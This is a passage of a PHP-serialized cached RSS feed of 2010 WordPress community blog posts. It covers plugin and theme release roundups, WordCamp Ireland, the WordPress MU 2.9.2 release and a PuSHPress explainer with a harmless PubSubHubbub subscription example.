This bug was pretty minor in the grand scheme of things. Probably not many people had ever run into it. But after hours of puzzling over those broken image tags, it felt darned good to find it, and — more importantly — squash it. And after the release of WordPress 3.0, nobody will have to scratch their heads over it again. Yay me!

\n\n\n

Related posts:

  1. WordPress Code Spelunking
  2. \n
  3. Fun Filters
  4. \n
  5. WordPress Webhooks Plugin
  6. \n

";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sun, 07 Mar 2010 23:00:31 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:6:"Dougal";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:16;a:6:{s:4:"data";s:13:"\n \n \n \n \n \n \n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:63:"Weblog Tools Collection: Notify Unconfirmed Subscribers Updated";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:92:"http://weblogtoolscollection.com/archives/2010/03/06/notify-unconfirmed-subscribers-updated/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:92:"http://weblogtoolscollection.com/archives/2010/03/06/notify-unconfirmed-subscribers-updated/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1525:"

For the past 8 months I have been receiving requests to update the Notify Unconfirmed Subscribers plugin, since it stopped working for users. Frankly, I never really found the time to do it, but as the requests piled up, I decided to set some time aside and update the plugin.

\n

So if you have been having problems with NUS, update to the latest version (1.3.0) and the issues should be solved. Do let me know if you have any problems with the latest update.

\n

A few notes:

\n\n

Note: I have not used WP_Http as there are problems with fsock and other http methods, it only works for cUrl right now. However, the plugin does contain a file which uses WP_Http which will be used in future versions.

\n

You will get a dashboard notice to update the plugin, if you don’t you can download Notify Unconfirmed Subscribers v1.3.0 from here.

";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sat, 06 Mar 2010 18:08:15 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:12:"Keith Dsouza";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:17;a:6:{s:4:"data";s:13:"\n \n \n \n \n \n \n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:28:"Donncha: First Day at #WCIRL";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:29:"http://ocaoimh.ie/?p=89495725";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:28:"http://ocaoimh.ie/day-wcirl/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:8961:"

So, day one of WordCamp Ireland draws to a close, there is a dinner tonight but the talks and sessions are over for the day.

\n

I briefly helped John Handelaar during his talk on WordPress MU, but my main talk was on WP Super Cache. Thank you Hanni, Jane and Sheri for recording the talk. Hopefully it’ll be available online next week. In the meantime here’s the OpenOffice slides of my talk.

\n

I must extend a big thank you to Sabrina Dent and Katherine Nolan for organising a great day and to the sponsors who made the weekend possible.

\n

Looking forward to the dinner tonight, and the rest of the conference tomorrow.

\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n

Update! I’ve added a few photos from Day 2. I was shattered tired though as I was up until 1.30am chatting with Donnacha!

\n

Update 2! Sabrina has written a thoughtful post about WordCamp Ireland. I for one had a great time there and so did everyone I spoke to. I totally agree with her about child minding facilities. My son Adam had a whale of a time, and is still talking about it. (and for an almost three year old, that’s a very good sign!)

\n

Oh, more photos on Pix.ie!

\n

Related Posts

";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sat, 06 Mar 2010 17:35:37 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:7:"Donncha";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:18;a:6:{s:4:"data";s:13:"\n \n \n \n \n \n \n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:17:"Matt: LA Saturday";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:21:"http://ma.tt/?p=33728";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:33:"http://ma.tt/2010/03/la-saturday/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:11762:"

A day in LA spent looking at Fort Street carpets and vintage furniture around town, and then SOHO House for the Montblanc / Harvey Weinstein pre-Oscars dinner and party. (Stopped taking photos once the actual party started, didn’t want to get kicked out :) .)

\n

\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sat, 06 Mar 2010 08:00:18 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:4:"Matt";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:19;a:6:{s:4:"data";s:13:"\n \n \n \n \n \n \n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:60:"Weblog Tools Collection: WordPress Plugin Releases for 03/05";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:40:"http://weblogtoolscollection.com/?p=7826";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:88:"http://weblogtoolscollection.com/archives/2010/03/05/wordpress-plugin-releases-for-0305/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:2230:"

New Plugins

\n

Wordpress External Cron

\n

Allows you to setup a cron to fetch any page on the server

\n

PuSHPress

\n

This plugin adds PubSubHubbub ( PuSH ) support to your WordPress powered site. The main difference between this plugin and others is that it includes the hub features of PuSH, built right in. This means the updates will be sent directly from WordPress to your PuSH subscribers.

\n

Block Bad Queries

\n

Protect WordPress Against Malicious URL Requests

\n

Image Space Media

\n

The ISM plugin optimizes your Wordpress blog for Image Space Media’s in-image advertising technology. With the ISM plugin, Wordpress users can seamlessly integrate Image Space Media’s in-image advertising solution into their website and generate ad revenue.

\n

Easily navigate pages on dashboard

\n

Display a folder tree of your pages that is easy to expand and contract on your Dashboard. Designed for people that use Wordpress as a content management system.

\n

MySQL Profiler

\n

WordPress is extremely flexible. However, flexibility generally brings about the issue of performance. WP MySQL Profiler is a simple plugin that assists in improving performance of themes and plugins.

\n

Updated Plugins

\n

Easy Review Builder for WordPress

\n

Create attractive star ratings for reviews. Supports multiple rating categories and an optional auto-calculated summary

\n

Dynamic “To Top”

\n

Adds an automatic and dynamic “To Top” button to easily scroll long pages back to the top.

";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Fri, 05 Mar 2010 19:00:19 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:7:"Perurry";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:20;a:6:{s:4:"data";s:13:"\n \n \n \n \n \n \n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:21:"Matt: Harvard Gazette";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:21:"http://ma.tt/?p=33725";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:37:"http://ma.tt/2010/03/harvard-gazette/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:525:"

The Harvard Gazette is now on WordPress, with a beautiful magazine-style design. There’s a whole meme/argument going around a few blogs and Twitter saying WordPress isn’t a CMS. Who cares what you call it, look at the amazing sites you can create. (And manage content on.) Who woulda thunk it. I thought WordPress was only good for “just a blog” — what are these Harvard gonzos doing? Fie! I say.

";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Fri, 05 Mar 2010 00:14:06 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:4:"Matt";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:21;a:6:{s:4:"data";s:13:"\n \n \n \n \n \n \n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:49:"Publisher Blog: Harvard Gazette Selects WordPress";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:42:"http://publisherblog.automattic.com/?p=803";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:73:"http://publisherblog.automattic.com/2010/03/04/harvard-selects-wordpress/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:2295:"

The Harvard Gazette, which is Harvard’s official newspaper, has recently relaunched their site, and is now powered by WordPress:
\n

\n

Highlighting faculty research, administrative staff, students, and events – this is a great example of a complete site that you can build with WordPress. Congrats to the team at Harvard for building such as great site.

\n

It’s also exactly in sync with the feedback we are hearing from the publishing community. Many of you have shared with us your exciting plans to take advantage of the flexibility and power of WordPress to build your next-generation full sites on this platform. It’s going to make for a very exciting next few months !

\n

[ visit Harvard Gazette ]

\n
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Thu, 04 Mar 2010 20:14:25 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:16:"Raanan Bar-Cohen";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:22;a:6:{s:4:"data";s:13:"\n \n \n \n \n \n \n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:30:"Matt: IntenseDebate auto-login";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:21:"http://ma.tt/?p=33722";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:46:"http://ma.tt/2010/03/intensedebate-auto-login/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:657:"

WordPress.com User Accounts now auto-login to IntenseDebate blogs no matter where they’re hosted, any website in the world. Connect services like Facebook’s and Twitter’s always require at the very least a click or two, and in worst case can be a full login and several bounces to the origin site, which increases the friction of commenting and can actually decrease the number of comments you get. (Oh noes!) This is much smoother, and faster. Previously this was only available if you actually hosted on WP.com, now it’s for any website, anywhere.

";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Wed, 03 Mar 2010 23:18:02 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:4:"Matt";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:23;a:6:{s:4:"data";s:13:"\n \n \n \n \n \n \n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:18:"Matt: PubSubHubBub";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:21:"http://ma.tt/?p=33720";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:34:"http://ma.tt/2010/03/pubsubhubbub/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:655:"

WP.com is now Pubsubhubbub-enabled, and the code we used to do that is now available as a plugin as well. It took me 30 seconds to add to this blog using the dashboard “add plugin” functionality and searching for “pushpress.” I love it when we’re able to do these simultaneous releases, it falls in line well with WP.com’s goal of all its useful code being available to everyone, for example the custom CSS release.

";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Wed, 03 Mar 2010 22:15:23 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:4:"Matt";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:24;a:6:{s:4:"data";s:13:"\n \n \n \n \n \n \n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:59:"Weblog Tools Collection: WordPress Theme Releases for 03/03";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:40:"http://weblogtoolscollection.com/?p=7824";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:89:"http://weblogtoolscollection.com/archives/2010/03/03/wordpress-theme-releases-for-0303-2/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1221:"

Light Folio

\n

LightFolio-cover

\n

Light Folio is a clean clean and light theme with a combination black and white color.

\n

CleanTech

\n

CleanTech

\n

CleanTech is a clean, two column and elegant theme with support for threaded comments designed to focus your content.

\n

Ultima

\n

Ultima

\n

This is a 2-column, soft-colored, rounded theme that totally aims at content and nothing else.

";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Wed, 03 Mar 2010 19:00:59 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:7:"Perurry";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:25;a:6:{s:4:"data";s:13:"\n \n \n \n \n \n \n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:27:"Donncha: WordPress MU 2.9.2";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:29:"http://ocaoimh.ie/?p=89495712";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:35:"http://ocaoimh.ie/wordpress-mu-292/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:2570:"

WordPress MU 2.9.2 has just been released and is mostly a security and bugfix release based on WordPress 2.9.2. Grab it from the download page.

\n

As well as the security fix mentioned above, this version also fixes a few bugs, makes the blog signup process much faster and adds a new “Global Terms” Site Admin page.

\n

The “Global Terms” page is one I should have added years ago. Currently it’s fairly bare, but hopefully in future versions of WordPress it will be expanded. It allows the Site Admin to “fix” the terms (tags and categories) used in MU blogs. These terms are normally synced with the “sitecategories” table but sometimes they go astray. This can happen if you “import” a blog using PHPMyAdmin without going through the WordPress importer, or if a plugin manipulates the terms table directly.
\nWordPress MU forces the “slug” used by terms to be a sanitized version of the “name”, which isn’t the case in WordPress. This page can optionally rename the terms so they match the slug. It doesn’t do the opposite because that would break public facing URLs on the site. (I must extend a big thank you to Deanna for helping debug that page)

\n

Enjoy!

\n

Related Posts

";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Wed, 03 Mar 2010 17:01:39 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:7:"Donncha";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:26;a:6:{s:4:"data";s:13:"\n \n \n \n \n \n \n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:54:"Joseph: PuSHPress: A PubSubHubbub Plugin For WordPress";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:30:"http://josephscott.org/?p=1963";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:86:"http://josephscott.org/archives/2010/03/pushpress-a-pubsubhubbub-plugin-for-wordpress/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:5968:"

PubSubHubbub, or PuSH, is now supported on all WordPress.com blogs. For those running sites using the WordPress.org software the PuSHPress plugin is available to do the same thing. The big difference in this plugin compared to the other PuSH WordPress plugins is that it includes a PuSH hub built in.

\n

A little bit of PubSubHubbub background

\n

Like rssCloud, PuSH adds a line to your feed to let clients know where they can send PuSH subscription requests. In the RSS2 feed this looks like:

\n
\n<atom:link rel="hub" href="http://josephscott.org/?pushpress=hub">\n
\n

and in Atom looks like:

\n
\n<link rel="hub" href="http://josephscott.org/?pushpress=hub">\n
\n

The href attribute contains the URL that subscribers can send requests to. Details on what that request looks like are in the PubSubHubbub Spec. The short version, it’s a simple HTTP POST call with some specific field names.

\n

Here’s an example PHP subscription request asking that updates to http://example.com/feed/ be sent to http://example.com/push/ via the hub at http://example.com/?pushpress=hub

\n
\n$curl = curl_init( );\n\ncurl_setopt( $curl, CURLOPT_URL, ''http://example.com/?pushpress=hub'' );\ncurl_setopt( $curl, CURLOPT_POSTFIELDS, ''hub.callback=http://example.com/push/&hub.mode=subscribe&hub.secret=not-telling-you&hub.verify=sync&hub.topic=http://example.com/feed/&hub.verify_token=133t-$7r1n9'' );\ncurl_setopt( $curl, CURLOPT_VERBOSE, 1 );\ncurl_setopt( $curl, CURLOPT_POST, 1 );\n\ncurl_exec( $curl );\nprint_r( curl_getinfo( $curl ) );\ncurl_close( $curl );\n
\n

The hub at example.com will then send new content (in feed format) right after it’s published to URL provided in hub.callback.

\n

Why the PuSHPress plugin?

\n

I love that there are large, open PuSH hubs available for anyone to use. There’s a list at http://code.google.com/p/pubsubhubbub/wiki/Hubs. In PuSH since most of the hard work (figuring out what’s new in a feed and sending that out to subscribers) is done via the hub this is very handy and really great for testing.

\n

I also think there’s a role for a readily available simple hub that anyone can put up and use, in this case built on top of WordPress. And by leveraging WordPress the hub part can be greatly simplified. The real bonus for users is choice, they can relay the updates through 3rd party hubs, or use the built in hub in PuSHPress.

\n

It’s worth noting that PuSHPress has a WordPress filter on the array of hubs; pushpress_hubs. This allows other plugins to easily add to or replace the hubs mentioned in the feeds by PuSHPress.

\n

To help keep things simple and limit potential abuse the PuSHPress plugin will only allow subscriptions for the RSS2 and Atom feeds of the WordPress blog that it is installed on.

\n

My thanks to Brett Slatkin for helping test PuSHPress. His tests revealed a few bugs that were quickly addressed.

\n

How fast?

\n

When talking about these realtime-ish update features this question often comes up. Fair enough, I’d want to know too :-)

\n

The PuSHPress plugin schedules pings to go out right away via the wp_schedule_single_event function in WordPress. I suspect for most people this will be quite fast. If your server is under tremendous load and really slow, then this will be really slow too, just like the rest of the server ;-)

\n

On WordPress.com the details are a bit different. Instead of scheduling pings to be sent out with wp_schedule_single_event it adds them to our asynchronous jobs system ( more info available at http://code.trac.wordpress.org/ ). The jobs system is setup to do exactly these kinds of tasks really, really fast. Don’t be surprised if the ping shows up before you get a chance to finish the first Mississippi.

\n

The future

\n

So where is all this going? Who knows, but it is fun to watch! :-)

\n

Further reading

\n

If you have an interest in this area there are plenty of resources:

\n\n

The spec is a quick read and to the point, worth reading.

\n

And there you have it, a little more in-depth discussion of PuSHPress.

\n\n\n

Related posts:

  1. RSSCloud For WordPress
  2. \n
  3. rssCloud WordPress Plugin Update – 0.4.1
  4. \n
  5. mod_ping, Maybe I Should Have Called It PubSubHubbub
  6. \n

";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Wed, 03 Mar 2010 16:49:50 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:12:"Joseph Scott";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:27;a:6:{s:4:"data";s:13:"\n \n \n \n \n \n \n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:55:"WordPress.tv: John Hawkins: Building a WordPress 